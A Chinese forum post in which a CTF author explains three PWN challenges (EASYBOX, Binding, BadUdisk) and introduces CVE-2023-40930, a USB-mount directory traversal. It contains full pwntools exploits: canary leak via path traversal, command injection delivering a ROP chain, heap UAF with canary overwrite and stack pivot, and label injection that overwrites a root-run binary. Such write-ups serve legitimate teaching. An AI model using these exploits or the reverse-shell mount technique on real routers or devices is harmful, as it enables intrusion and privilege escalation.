首页
社区
课程
招聘
DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍
2023-10-22 14:49 9413

DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍

2023-10-22 14:49
9413

img

前言

img

去年没有招到新的学弟,所以今年又是两个老东西出的题,学长出的GuestBook,而我出的剩下几道。已经大概有一年多没怎么打ctf了。。也不太清楚现在的考点,于是就出了一道Glibc的题,剩下的两道结合了自己一年多搞IOT的经验和一个自己新发现的CVE(CVE-2023-40930),希望大家能玩的开心~

EASYBOX

这题有54个解,没猜错的话大家应该都是通过注入做的,这也是预期的一种解法

出题思路

这题其实是想把几个常见的路由器漏洞合在一道题里,总共有这么几个漏洞:

(1)目录穿越

img

catCommand中strcat的第二个参数s没有ban掉"..",所以存在目录穿越能够读前面init函数中的canary文件

(2)命令注入

pingCommand函数中存在命令注入:

img

并且黑名单没有ban单双引号以及"`"所以肯定是能够直接注入获取flag的:

img

(3)栈溢出

这个其实是一开始设置的预期解,后面web社长pankas指出ping那里没ban单双引号可以注入,但思考很久还是把这两个解法都留着,做一个开放性的题目

catCommand是通过fread从一个文件中读数据然后存到栈上的数组,所以如果这个文件中的数据超过了栈上数组的大小,那么肯定就溢出了

这个思路是源于之前研究过的一个路由器,也有类似的问题:

img

这里的fgets是把v1这个fd对应的文件中的数据读到栈上,读0x200大小,但其实v11这个数组只有120大小,所以就可能存在溢出。但后面发现其实v1对应的fd是一个存报错信息的文件,貌似不太好控制其中的内容,所以就浅尝辄止了,但也就留存了这么一个思路来放到这个题

具体的解法就是在ping中的system,通过分割符执行echo命令,把padding和rop写到result.txt中,再通过catCommand去读完成溢出劫持到rop

exp

(1)命令注入解法:

注的手法很多,这里就不赘述

(2)栈溢出解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import time
import base64
 
context.log_level = 'debug'
 
io=lambda: r.interactive()
sl=lambda a: r.sendline(a)
sla=lambda a,b: r.sendlineafter(a,b)
se=lambda a: r.send(a)
sa=lambda a,b: r.sendafter(a,b)
lg=lambda name,data: log.success(name+":"+hex(data))
rcu=lambda a: r.recvuntil(a)
 
def z():
    gdb.attach(r)
    time.sleep(1)
 
if __name__ == '__main__':
    global r
    global libc
    global ef
    #libc = ELF("./libc-2.31.so")
    #r = process("./pwn")
    r=remote("127.0.0.1",9999)
    #ef = ELF("./pwn")
    #ef.checksec()
    pop_rdi_ret = 0x401ce3
    system = 0x401230
    sh = 0x402090
    ret = 0x40101a
     
    ## leak canary
    sla("name:","nameless")
    sla("$","CAT")
    sla("view:","../secret/canary.txt")
    canary = int(r.recvuntil("\n",drop = True),16)
    lg("canary",canary)
 
    ## stack overflow attack
    sla("$","PING")
    payload = "a"*0x48 + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(sh) + p64(ret) +p64(system)
    payload = base64.b64encode(payload)
    print(len(payload))
    pd = ";echo "+'"'
    pd += payload
    pd += '" | base64 -d'
    #z()
    sla("address:",pd)
 
    ## get shell
    sla("$","CAT")
    #z()
    sla("view: ","result.txt")
    io()

(ps:这里通过base64加解码是因为rop中有"\x00"会截断字符串)

总结

这题设计的还是有一定缺陷的,比如指向性太差,一般不会有人考虑栈溢出的解法,然后其实离真实设备还有一定差距,下次如果有机会的话,可以改一个openwrt的docker来出题

Binding

彩蛋

这题的描述和EASYBOX的描述都致敬了笔者最近痴迷的一款游戏——The Binding Of Isaac:Rebirth(以撒的结合:重生)

img

出题思路

和去年一样的不想出house,而且想出一道表面堆实际栈的题。所以就想到了栈迁移到堆,然后思考如何绕过canary,一般来说canary一般都是泄露,笔者自从2022年的Hgame做过一道chuj学长出的多线程改canary的题就没遇到过直接修改canary来绕过的题了。于是就出了一道给一次任意地址写1字节,直接改fs:0x28的canary本源来绕过的题

解题思路

存在UAF,所以可以通过unsorted bin泄露libcbase和heapbase,一次任意地址写改fs:0x28的canary,然后通过edit的my_atoi的溢出栈迁移到堆完成利用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
import time
 
context.log_level = 'debug'
 
io=lambda: r.interactive()
sl=lambda a: r.sendline(a)
sla=lambda a,b: r.sendlineafter(a,b)
se=lambda a: r.send(a)
sa=lambda a,b: r.sendafter(a,b)
lg=lambda name,data: log.success(name+":"+hex(data))
rcu=lambda a: r.recvuntil(a)
 
def z():
    gdb.attach(r)
    time.sleep(1)
 
def cho(num):
    sla("choice:",str(num))
 
def add(idx,sz,con):
    cho(1)
    sla("Idx:",str(idx))
    sla("Size:",str(sz))
    sa("Content:",con)
 
def show(idx,choice):
    cho(3)
    sla("Your choice:",str(choice))
    sla("Idx:",str(idx))
 
def edit(idx,content1,content2):
    cho(2)
    sa("Idx:",idx)
    sa("context1: ",content1)
    sa("context2: ",content2)
 
def delet(idx):
    cho(4)
    sla("Idx:",str(idx))   
 
if __name__ == '__main__':
    global r
    global libc
    global ef
    libc = ELF("./libc-2.31.so")
    #r = process("./pwn")
    r=remote("0.0.0.0",9999)
    ef = ELF("./pwn")
    ef.checksec()
     
    add(0,0x100,"nameless")
    add(1,0x100,"nameless")
    add(2,0x100,"nameless")
    add(3,0x100,"nameless")
    add(4,0x100,"nameless")
    add(5,0x100,"nameless")
    for i in range(0,5):
        delet(i)
 
    # leak libcbase && heapbase
    show(3,1)
    rcu("context: ")
    libcbase = u64(r.recv(6).ljust(8,'\x00')) - 0x1ecbe0
    show(2,0)
    rcu("context: ")
    heap = u64(r.recv(6).ljust(8,'\x00')) - 0x5d0
    lg("libcbase",libcbase)
    lg("heap",heap)
 
    # set libc func
    fsbase = libcbase + 0x1f3540
    canary = fsbase+0x28
    leave_ret = libcbase + 0x578c8
    target = heap + 0xf60
    open = libcbase + libc.sym["open"]
    read = libcbase + libc.sym["read"]
    puts = libcbase + libc.sym["puts"]
    pop_rdi_ret = libcbase + 0x23b6a
    pop_rsi_ret = libcbase + 0x2601f
    pop_rdx_ret = libcbase + 0x142c92
 
    # set rop
    chunk = heap + 0xa10
    pd = p64(0)+p64(pop_rdi_ret)+p64(chunk)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0)+p64(open)
    pd += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(chunk)+p64(pop_rdx_ret)+p64(0x30)+p64(read)
    pd += p64(pop_rdi_ret)+p64(chunk)+p64(puts)
    add(6,0x150,"flag\x00")
    add(7,0x200,pd)
 
    # get shell
    edit("0".ljust(0x30,'\x00') + p64(target) + p64(leave_ret),p64(canary),p64(0))
 
    io()

BadUdisk

出题思路

USB挂载漏洞介绍

这题源于CVE-2023-40930,一个USB挂载目录穿越的漏洞

漏洞介绍:https://gist.github.com/NSnidie/2af70d58426c4563b2f11171379fdd8c

漏洞复现环境搭建:GitHub - NSnidie/CVE-2023-40930: CVE-2023-40930 Repetition Enviroment

简单谈谈这个漏洞,早在几年前就有一个类似的安卓漏洞 CVE-2018-9445,近年也有对日产Xterra车机linux系统USB挂载目录穿越的披露:U盘目录穿越获取车机 SHELL(含模拟环境) (delikely.eu.org)

这几个漏洞有一个共性,就是挂载的目录会通过label字段进行控制。比如我的label字段为"nameless",最后挂载的目录一般就是"/mnt/nameless";但如果挂载的时候对label字段没有很好的限制的话,比如说没有禁掉"..",我的label字段设置为"../nameless",那么就有可能挂载到"/nameless"目录

而且一般处理挂载的是root一类的超级用户进程,挂载过后可能会有对其它进程的调用比如system("/sbin/log"),如果通过这个挂载漏洞,覆盖掉/sbin目录,将log替换为反弹shell到我们的攻击机上,就完成了提权和对目标设备的劫持

题目设置

这道题就是对整个usb挂载的模拟,vold进程负责把mkudisk进程修改的tmp目录根据提供的label字段进行挂载。正常挂载是到/mnt目录,但是由于没有对label字段进行限制,导致可以目录覆盖,覆盖vold进程最后调用的可执行文件log,完成对flag的泄露

exp

解法1——label注入

由于label字段没有做严格的限制,导致vold的system存在注入:

img

赛后询问唯一做出来这题的北邮的纯真师傅,发现他就是这么做的,下面是他分享的exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p=connect('1.14.69.246',9999)
context.log_level='debug'
p.sendlineafter(b'prefer:',b'a')
s='|chmod${IFS}+r${IFS}/home/ctf/*'
p.sendlineafter(b'$','printf${IFS}"\\'+oct(ord(s[0]))[2:].rjust(3,"0")+'">label')
s=s[1:]
for i in s:
    p.sendlineafter(b'$','printf${IFS}"\\'+oct(ord(i))[2:].rjust(3,"0")+'">>label')
p.sendlineafter(b'$','exit')
p.interactive()

解法2——USB挂载目录覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import time
import base64
 
context.log_level = 'debug'
 
io=lambda: r.interactive()
sl=lambda a: r.sendline(a)
sla=lambda a,b: r.sendlineafter(a,b)
se=lambda a: r.send(a)
sa=lambda a,b: r.sendafter(a,b)
lg=lambda name,data: log.success(name+":"+hex(data))
rcu=lambda a: r.recvuntil(a)
 
def z():
    gdb.attach(r)
    time.sleep(1)
 
if __name__ == '__main__':
    global r
    global libc
    global ef
    #libc = ELF("./libc-2.31.so")
    #r = process("./pwn")
    r=remote("127.0.0.1",9999)
    sla("prefer:","../mybin")
    sla("$ ","sh")
    time.sleep(1)
    sl("cd ../tmp")
    time.sleep(1)
    sl("echo '#!/bin/sh\ncat /home/ctf/flag >/home/ctf/work/vold_log.txt\nchmod 777 /home/ctf/work/vold_log.txt' > log")
    time.sleep(1)
    sl("exit")
    time.sleep(1)
    sl("exit")
    io()

总结

这一年CTF打的比较少了,主要还是在做一些IOT方面的研究,但还是希望这几道题大家能玩的开心~


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-10-25 21:14 被Nameless_a编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (1)
雪    币: 19349
活跃值: (28971)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-10-23 13:49
2
1
感谢分享
游客
登录 | 注册 方可回帖
返回